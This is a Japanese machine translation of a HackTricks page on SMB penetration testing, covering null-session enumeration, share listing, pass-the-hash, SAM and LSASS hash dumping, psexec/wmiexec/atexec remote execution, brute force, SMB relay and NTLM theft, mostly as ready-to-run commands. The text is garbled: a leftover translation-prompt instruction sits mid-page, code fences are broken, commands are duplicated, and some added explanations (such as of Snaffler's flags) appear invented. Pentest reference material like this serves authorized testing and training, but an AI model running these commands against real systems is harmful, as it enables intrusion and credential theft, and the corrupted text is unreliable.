hacktricks/network-services-pentesting/pentesting-smb.md

37 KiB
Raw Blame History

139,445 - SMBのペンテスト

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

ポート139

NetBIOSは、_Network Basic Input Output System_の略です。これは、ローカルエリアネットワークLAN上のアプリケーション、PC、およびデスクトップがネットワークハードウェアと通信し、データをネットワーク上で送信するためのソフトウェアプロトコルです。NetBIOSネットワーク上で実行されるソフトウェアアプリケーションは、NetBIOS名によって相互に検出および識別されます。NetBIOS名は最大16文字であり、通常はコンピュータ名とは別になっています。2つのアプリケーションは、1つクライアントが「呼び出し」コマンドを別のクライアントサーバーに送信すると、TCPポート139を介してNetBIOSセッションを開始します。ここから抜粋

139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn

ポート445

ポート139は技術的には「NBT over IP」として知られていますが、ポート445は「SMB over IP」として知られています。SMBは「Server Message Blocks」の略です。現代の言語では、Server Message Blockは一般的なインターネットファイルシステムとしても知られています。このシステムは、ネットワーク上のード間でファイル、プリンタ、シリアルポートなどの共有アクセスを提供するために主に使用されるアプリケーションレイヤーネットワークプロトコルとして機能します。

たとえば、Windowsでは、SMBはNetBIOS over TCP/IPを必要とせずに直接TCP/IP上で実行することができます。これは、指摘されているようにポート445を使用します。他のシステムでは、ポート139を使用してサービスやアプリケーションが実行されていることがあります。これは、SMBがNetBIOS over TCP/IPで実行されていることを意味しますここから抜粋)

445/tcp   open  microsoft-ds  Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)

SMB

Server Message BlockSMB)は、ファイルへのアクセスやディレクトリ全体、プリンタ、ルーター、またはネットワークに公開されたインターフェースなど、他のネットワークリソースへのアクセスを制御するクライアントサーバープロトコルです。このプロトコルの主な適用範囲は、特にWindowsオペレーティングシステムシリーズであり、そのネットワークサービスはSMBを下位互換の方法でサポートしています。つまり、新しいエディションを搭載したデバイスは、古いMicrosoftオペレーティングシステムがインストールされたデバイスと簡単に通信できます。
また、フリーソフトウェアプロジェクトであるSambaを使用することで、LinuxおよびUnixディストリビューションでSMBを使用し、SMBを介したクロスプラットフォームの通信が可能になります。

SMBサーバーは、ローカルファイルシステムの任意の部分を共有することができます。したがって、クライアントに表示される階層は、サーバー上の構造と部分的に独立しています。アクセス権は、Access Control ListsACL)によって定義されます。これらは、個々のユーザーまたはユーザーグループに対して**実行読み取り完全アクセスなどの属性に基づいて細かく制御することができます。ACL共有に基づいて**定義されるため、サーバー上でローカルに割り当てられた権限とは異なります。

IPC$ 共有

書籍「Network Security Assessment 3rd edition」より

匿名のヌルセッションを使用すると、IPC$共有にアクセスし、名前付きパイプを介して公開されたサービスと対話することができます。特にKali Linux内のenum4linuxユーティリティは非常に便利です。これを使用すると、次の情報を取得できます。

  • オペレーティングシステムの情報
  • 親ドメインの詳細
  • ローカルユーザーとグループのリスト
  • 利用可能なSMB共有の詳細
  • 有効なシステムセキュリティポリシー

NTLMとは

NTLMが何かわからない場合、またはNTLMの動作方法や悪用方法について知りたい場合は、次のページが非常に興味深いでしょう。NTLMについて説明されており、このプロトコルの動作方法と利用方法が説明されています。

{% content-ref url="../windows-hardening/ntlm/" %} ntlm {% endcontent-ref %}

サーバー列挙

ネットワークをスキャンしてホストを検索します:

nbtscan -r 192.168.0.1/24

SMBサーバーのバージョン

SMBバージョンの潜在的な脆弱性を探すためには、使用されているバージョンを知ることが重要です。この情報が他の使用ツールに表示されない場合は、次の方法を使用できます。

  • MSFの補助モジュール _auxiliary/scanner/smb/smb_versionを使用する
  • または、次のスクリプトを使用する:
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1

エクスプロイトの検索

エクスプロイトの検索は、SMBサービスの脆弱性を見つけるために重要なステップです。エクスプロイトは、既知の脆弱性を悪用するための特殊なコードまたは手法です。エクスプロイトを使用することで、攻撃者はSMBサービスに侵入し、機密情報を盗む、システムを乗っ取るなどの悪意のある活動を行うことができます。

エクスプロイトを検索するためには、以下の手順に従います。

  1. セキュリティ情報のデータベースやオンラインのリソースを調査します。CVECommon Vulnerabilities and Exposuresデータベースやセキュリティブログ、フォーラムなどが有用な情報源です。

  2. SMBサービスのバージョンや使用されているソフトウェアの詳細を特定します。これには、ネットワークスキャンやポートスキャンツールを使用することができます。

  3. 特定のバージョンやソフトウェアに関連する既知の脆弱性を検索します。エクスプロイトコードや手法は、オープンソースのセキュリティツールやGitHubなどのリポジトリで入手できる場合があります。

  4. 脆弱性の詳細とエクスプロイトの使用方法を理解し、攻撃のリスクと成功の可能性を評価します。

エクスプロイトの検索は、SMBサービスの脆弱性を特定し、システムのセキュリティを向上させるために重要なステップです。ただし、エクスプロイトの使用は法的な制約や倫理的な考慮事項に従う必要があります。

msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb

可能性のある資格情報

ユーザー名 一般的なパスワード
(空白) (空白)
guest (空白)
Administrator, admin (空白), password, administrator, admin
arcserve arcserve, backup
tivoli, tmersrvd tivoli, tmersrvd, admin
backupexec, backup backupexec, backup, arcada
test, lab, demo password, test, lab, demo

SMB環境情報

情報の取得

#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>

#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb  --pw-nt-hash
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information

#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>

#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>

ユーザー、グループ、およびログイン中のユーザーの列挙

この情報は既にenum4linuxとenum4linux-ngから収集されているはずです

crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]

ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "

rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups

ローカルユーザーの列挙

Impacket

lookupsid.py -no-pass hostname.local

以下は、ハッキング技術に関する本の内容です。次の内容は、ファイルnetwork-services-pentesting/pentesting-smb.mdからのものです。関連する英文を日本語に翻訳し、翻訳を保持したまま、同じマークダウンおよびHTMLの構文を返してください。コード、ハッキング技術の名前、ハッキング用語、クラウド/SaaSプラットフォームの名前Workspace、aws、gcpなど、'leak'という単語、pentesting、およびマークダウンタグなどは翻訳しないでください。また、翻訳とマークダウン構文以外の追加の内容は追加しないでください。

for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done

Metasploit - ローカルユーザーの列挙

use auxiliary/scanner/smb/smb_lookupsid
set rhosts ホスト名.local
run

### **Enumerating LSARPC and SAMR rpcclient**

{% content-ref url="pentesting-smb/rpcclient-enumeration.md" %}
[rpcclient-enumeration.md](pentesting-smb/rpcclient-enumeration.md)
{% endcontent-ref %}

### GUI connection from linux

#### In the terminal:

`xdg-open smb://cascade.htb/`

#### In file browser window (nautilus, thunar, etc)

`smb://friendzone.htb/general/`

## Shared Folders Enumeration

### List shared folders

It is always recommended to look if you can access to anything, if you don't have credentials try using **null** **credentials/guest user**.

```bash
```markdown
## smbclientコマンド

```bash
smbclient --no-pass -L //<IP> # ヌルユーザー
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> # パスワードを省略するとプロンプトが表示されます。--pw-nt-hashを使用すると、提供されたパスワードはNTハッシュです。

smbmapコマンド

smbmap -H <IP> [-P <PORT>] # ヌルユーザー
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] # 資格情報
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] # パス・ザ・ハッシュ
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] # 再帰的なリスト

crackmapexecコマンド

crackmapexec smb <IP> -u '' -p '' --shares # ヌルユーザー
crackmapexec smb <IP> -u 'username' -p 'password' --shares # ゲストユーザー
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares # ゲストユーザー

Connect/List a shared folder

# smbclientを使用して接続する
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #パスワードを省略すると、プロンプトが表示されます。--pw-nt-hashを使用すると、提供されたパスワードはNTハッシュです
# --no-pass -c 'recurse;ls' を使用してsmbclientで再帰的にリストを表示する

# smbmapを使用してリストを表示する。フォルダを指定しない場合、すべてをリストします
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # 再帰的なリスト
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # 非再帰的なリスト
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] # パス・ザ・ハッシュ

Manually enumerate windows shares and connect to them

It may be possible that you are restricted to display any shares of the host machine and when you try to list them it appears as if there aren't any shares to connect to. Thus it might be worth a short to try to manually connect to a share. To enumerate the shares manually you might want to look for responses like NT_STATUS_ACCESS_DENIED and NT_STATUS_BAD_NETWORK_NAME, when using a valid session (e.g. null session or valid credentials). These may indicate whether the share exists and you do not have access to it or the share does not exist at all.

Common share names for windows targets are

  • C$
  • D$
  • ADMIN$
  • IPC$
  • PRINT$
  • FAX$
  • SYSVOL
  • NETLOGON

(Common share names from Network Security Assessment 3rd edition)

You can try to connect to them by using the following command

```markdown
## smbclientコマンドを使用してWindows共有に接続する

以下のコマンドは、Windows共有に接続するためのsmbclientコマンドです。

### Nullセッションを使用して接続する場合

```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE>

このコマンドは、nullセッションを使用してWindows共有に接続します。

認証セッションを使用して接続する場合

smbclient -U '<USER>' \\\\<IP>\\<SHARE>

このコマンドは、認証セッションを使用してWindows共有に接続しますパスワードの入力が求められます

or this script (using a null session)

#/bin/bash

ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')

for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')

if [[ -z $output ]]; then
echo "[+] $share に対してヌルセッションの作成が可能です" # コマンドが実行された場合は出力がないため、セッションが作成されたと仮定します
else
echo $output # エラーメッセージを表示しますNT_STATUS_ACCESS_DENIEDまたはNT_STATUS_BAD_NETWORK_NAME
fi
done

examples

```markdown
## SMB (Server Message Block) ペンテスト

### smbclientコマンド

以下のコマンドを使用して、SMBサーバーへの接続をテストできます。

```bash
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # NT_STATUS_BAD_NETWORK_NAMEが返されます
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # NT_STATUS_ACCESS_DENIEDが返されるか、セッションが与えられることがあります

Mount a shared folder

```markdown
以下は、SMBServer Message Blockのペンテストに関する内容です。

```bash
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share

上記のコマンドは、SMB共有をマウントするためのものです。x.x.x.xはSMBサーバーのIPアドレスを表しており、shareは共有名です。/mnt/shareはマウントポイントのパスです。

1つ目のコマンドは、デフォルトのユーザー名とパスワードを使用してSMB共有をマウントします。

2つ目のコマンドは、usernamepasswordオプションを使用して特定のユーザー名とパスワードを指定してSMB共有をマウントします。

これらのコマンドを使用することで、SMB共有をローカルマシンにマウントし、ファイルやディレクトリにアクセスすることができます。

Download files

Read previous sections to learn how to connect with credentials/Pass-the-Hash.

# ファイルの検索とダウンロード
sudo smbmap -R フォルダー -H <IP> -A <ファイル名> -q # 再帰モードでファイルを検索し、/usr/share/smbmap内にダウンロードします
# すべてをダウンロードする
smbclient //<IP>/<共有名>
> mask ""
> recurse
> prompt
> mget *
# すべてを現在のディレクトリにダウンロードする

Commands:

  • mask: specifies the mask which is used to filter the files within the directory (e.g. "" for all files)
  • recurse: toggles recursion on (default: off)
  • prompt: toggles prompting for filenames off (default: on)
  • mget: copies all files matching the mask from host to client machine

(Information from the manpage of smbclient)

```plaintext
Snaffler.exe -s -d domain.local -o snaffler.log -v data

このコマンドは、Snafflerというツールを使用して、domain.localというドメインに対してSMBServer Message Blockのペンテストを実行します。-sオプションは、SMBサービスをスキャンすることを指定しています。-dオプションは、対象となるドメインを指定します。-oオプションは、結果をsnaffler.logというファイルに出力することを指定します。-vオプションは、詳細な情報を表示することを指定します。dataは、スキャン対象のデータです。


* [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider.
* `-M spider_plus [--share <share_name>]`
* `--pattern txt`

```bash
```shell
sudo crackmapexec smb 10.10.10.10 -u ユーザー名 -p パスワード -M spider_plus --share '部門の共有'

Specially interesting from shares are the files called **`Registry.xml`** as they **may contain passwords** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains credentials.

{% hint style="info" %}
The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\
You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**.
{% endhint %}

## Read Registry

You may be able to **read the registry** using some discovered credentials. Impacket **`reg.py`** allows you to try:

```bash

sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s


sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s

Post Exploitation

The default config of a Samba server is usually located in /etc/samba/smb.conf and might have some dangerous configs:

Setting Description
browseable = yes Allow listing available shares in the current share?
read only = no Forbid the creation and modification of files?
writable = yes Allow users to create and modify files?
guest ok = yes Allow connecting to the service without using a password?
enable privileges = yes Honor privileges assigned to specific SID?
create mask = 0777 What permissions must be assigned to the newly created files?
directory mask = 0777 What permissions must be assigned to the newly created directories?
logon script = script.sh What script needs to be executed on the user's login?
magic script = script.sh Which script should be executed when the script gets closed?
magic output = script.out Where the output of the magic script needs to be stored?

The command smbstatus gives information about the server and about who is connected.

Authenticate using Kerberos

You can authenticate to kerberos using the tools smbclient and rpcclient:

## SMB (Server Message Block)のペンテスト

### smbclientコマンド

```shell
smbclient --kerberos //ws01win10.domain.com/C$

このコマンドは、Kerberos認証を使用してws01win10.domain.comC$共有に接続するためのものです。

rpcclientコマンド

rpcclient -k ws01win10.domain.com

このコマンドは、Kerberos認証を使用してws01win10.domain.comに接続するためのものです。


## **Execute Commands**

### **crackmapexec**

crackmapexec can execute commands **abusing** any of **mmcexec, smbexec, atexec, wmiexec** being **wmiexec** the **default** method. You can indicate which option you prefer to use with the parameter `--exec-method`:

```bash
```markdown
apt-get install crackmapexec

crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #PowerShellを実行
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #cmdを実行
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# --exec-method {mmcexec,smbexec,atexec,wmiexec}を使用

crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #SAMをダンプ
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #メモリ内のLSASSハッシュをダンプ
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #セッションを取得
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #ログイン中のユーザーを取得
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #ディスクを列挙
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #ユーザーを列挙
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups #グループを列挙
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups #ローカルグループを列挙
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #パスワードポリシーを取得
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RIDブルート

crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash

### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)

Both options will **create a new service** (using _\pipe\svcctl_ via SMB) in the victim machine and use it to **execute something** (**psexec** will **upload** an executable file to ADMIN$ share and **smbexec** will point to **cmd.exe/powershell.exe** and put in the arguments the payload --**file-less technique-**-).\
**More info** about [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)and [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
In **kali** it is located on /usr/share/doc/python3-impacket/examples/

```bash
# パスワードが提供されていない場合、プロンプトが表示されます
./psexec.py [[ドメイン/]ユーザー名[:パスワード]@]<ターゲット名またはアドレス>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #パスワードハッシュを使用
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t #パスワードハッシュを使用

Using parameter-k you can authenticate against kerberos instead of NTLM

wmiexec/dcomexec

Stealthily execute a command shell without touching the disk or running a new service using DCOM via port 135.
In kali it is located on /usr/share/doc/python3-impacket/examples/

#パスワードが提供されていない場合、プロンプトが表示されます
./wmiexec.py [[ドメイン/]ユーザー名[:パスワード]@]<ターゲット名またはアドレス> #パスワードの入力を求める
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #パス・ザ・ハッシュ
#コマンドの末尾に実行するCMDコマンドを追加することができます。追加しない場合、半対話型シェルが表示されます

Using parameter-k you can authenticate against kerberos instead of NTLM

#パスワードが提供されていない場合、プロンプトが表示されます
./dcomexec.py [[ドメイン/]ユーザー名[:パスワード]@]<ターゲット名またはアドレス>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #パスワードを渡す
#コマンドの末尾に実行するCMDコマンドを追加することもできます。追加しない場合、半対話型のシェルが表示されます

AtExec

Execute commands via the Task Scheduler (using \pipe\atsvc via SMB).
In kali it is located on /usr/share/doc/python3-impacket/examples/

```shell
./atexec.py [[ドメイン/]ユーザー名[:パスワード]@]<ターゲット名またはアドレス> "コマンド"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"

## Impacket reference

[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)

## **Bruteforce users credentials**

**This is not recommended, you could block an account if you exceed the maximum allowed tries**

```bash
```markdown
## SMB Brute Force

To perform a brute force attack on the SMB service, you can use the `nmap` tool with the `smb-brute` script. The following command will attempt to brute force the SMB service on port 445 of the specified IP address:

```bash
nmap --script smb-brute -p 445 <IP>

Another approach is to use the ridenum.py script to obtain a list of usernames by brute forcing the RIDs. Once you have the list of usernames, you can then attempt to brute force each username. The following command will perform this process, specifying the IP address, the range of RIDs to brute force (from 500 to 50000), and the path to a file containing a list of passwords:

ridenum.py <IP> 500 50000 /root/passwds.txt

SMB relay attack

This attack uses the Responder toolkit to capture SMB authentication sessions on an internal network, and relays them to a target machine. If the authentication session is successful, it will automatically drop you into a system shell.
More information about this attack here.

SMB-Trap

The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: img src="\\10.10.10.10\path\image.jpg"

This happens with the functions:

  • URLDownloadToFile
  • URLDownloadToCache
  • URLOpenStream
  • URLOpenBlockingStream

Which are used by some browsers and tools (like Skype)

From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html

SMBTrap using MitMf

From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html

NTLM Theft

Similar to SMB Trapping, planting malicious files onto a target system (via SMB, for example) can illicit an SMB authentication attempt, allowing the NetNTLMv2 hash to be intercepted with a tool such as Responder. The hash can then be cracked offline or used in an SMB relay attack.

See: ntlm_theft

HackTricks Automatic Commands

Protocol_Name: SMB    #プロトコルの略称がある場合は記載する。
Port_Number:  137,138,139     #複数ある場合はカンマで区切る。
Protocol_Description: Server Message Block         #プロトコルの略称を全て書く

Entry_1:
Name: ノート
Description: SMBのート
Note: |
ポート139は技術的には「NBT over IP」として知られていますが、ポート445は「SMB over IP」として知られています。SMBは「Server Message Blocks」の略です。現代の言語では、Server Message BlockはCommon Internet File Systemとしても知られています。このシステムは、ネットワーク上のード間でファイル、プリンタ、シリアルポートなどの共有アクセスを提供するために主に使用されるアプリケーション層のネットワークプロトコルです。

#以下は、オープンなSMBポートを見つけた場合に毎回実行するコマンドです。

認証情報なしで
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}

認証情報ありで
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request

https://book.hacktricks.xyz/pentesting/pentesting-smb

Entry_2:
Name: Enum4Linux
Description: 一般的なSMBスキャン
Command: enum4linux -a {IP}

Entry_3:
Name: Nmap SMBスキャン1
Description: Nmapを使用したSMB脆弱性スキャン
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}

Entry_4:
Name: Nmap SMBスキャン2
Description: Nmapを使用したSMB脆弱性スキャンより一般的
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}

Entry_5:
Name: Hydraブルートフォース
Description: ユーザーが必要です
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb

Entry_6:
Name: SMB/SMB2 139/445コンソールレスMFS列挙
Description: msfconsoleを実行する必要がないSMB/SMB2 139/445列挙
Note: https://github.com/carlospolop/legionから提供されたもの
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥